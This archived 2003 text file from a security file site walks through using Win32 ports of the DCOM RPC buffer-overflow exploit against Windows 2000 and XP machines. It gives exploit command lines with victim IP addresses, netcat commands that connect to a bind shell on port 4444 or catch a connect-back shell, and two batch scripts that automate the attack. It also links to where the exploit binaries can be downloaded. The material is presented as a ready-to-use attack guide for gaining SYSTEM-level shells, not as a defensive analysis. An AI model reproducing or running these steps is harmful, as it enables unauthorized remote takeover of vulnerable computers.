exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

illmob.txt

illmob.txt
Posted Jul 28, 2003
Site illmob.org

Paper discussing utilization of the Win32 exploit for the DCOM RPC vulnerability.

tags | paper
systems | windows
SHA-256 | ac991411216d76522190300a8ee9d05dc9d1eee9a92a9af2f72a6cffa66b6bb9

illmob.txt

Change Mirror Download
DCOM RPC exploit paper
7/26/03
by: illwill <xillwillx@yahoo.com>
-------------------------------------------------------------------------------
Paper on how to remotely exploit for win32 NT boxes using a buffer overflow
on port 135 through the Windows RPC Interface resulting in execution of any
commands on vulnerable Windows systems with SYSTEM privileges.
http://illmob.org/rpc/
_______________________________________________________________________________

There are 2 dcom Win32 ported versions available:
Ben Lauziere blauziere@alern.org http://illmob.org/rpc/DComExpl_UnixWin32.zip
"exceed" exceed@microsoftsucks.org http://illmob.org/rpc/dcom-win32.zip

for my example ill be using ben's version cuz it doesnt use a cygwin.dll
how to use the Dcom32.exe ported for win32 boxes:

c:\> dcom32.exe <OS ver. & service pack> <Victim IP>
(ex. C:\> dcom32.exe 2 192.168.0.2)
if all goes well you should get a shell on port 4444 to connect to.
fire up netcat

c:> nc -vvv VicIP Port
(ex. c:\>nc 192.168.0.2 4444
JackedXP [192.168.0.2] 4444 open
Microsoft Windows XP [Version 5.1.2600]
C:\WINDOWS\system32>)

BAM!!! You got a command prompt access to the victim box!!

easy kiddie bat for dcom32 from morning_wood

<snip rpcx.bat>
@echo on
@echo easy kiddi .bat by morning_wood@exploitlabs.com
@echo useage is "target remote-ip"
@echo target is 1-6 where
@echo - 0 Windows 2000 SP0 (english)
@echo - 1 Windows 2000 SP1 (english)
@echo - 2 Windows 2000 SP2 (english)
@echo - 3 Windows 2000 SP3 (english)
@echo - 4 Windows 2000 SP4 (english)
@echo - 5 Windows XP SP0 (english)
@echo - 6 Windows XP SP1 (english)
pause
dcom32 %1 %2
nc -vvv %2 4444
</snip>

commandline for it would be
rpcx.bat <osVer> <IP>
(ex. rpcx 2 192.168.0.2)







how to use the root32 exploit (which i found to work like shit.)
first open a recieving netcat connection on your own computer
using the command line
nc -l -v -p 1199 (1199 can be any port you desire)


then use the command line for root32.exe

root32.exe 172.0.15.29 64.252.136.135 1199 2
remoteIP^ yourIP^ yourPORT^ ^vic service pack

if all goes well you should recieve a commandline connect-back
prompt through netcat to the vulnerable box.

morning_wood's quick n grimy bat file Root.bat
<snip>
root32 %1 %2 %3 2
nc -vv %1 %3
</snip>

peace out.
illwill
http://illmob.org
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close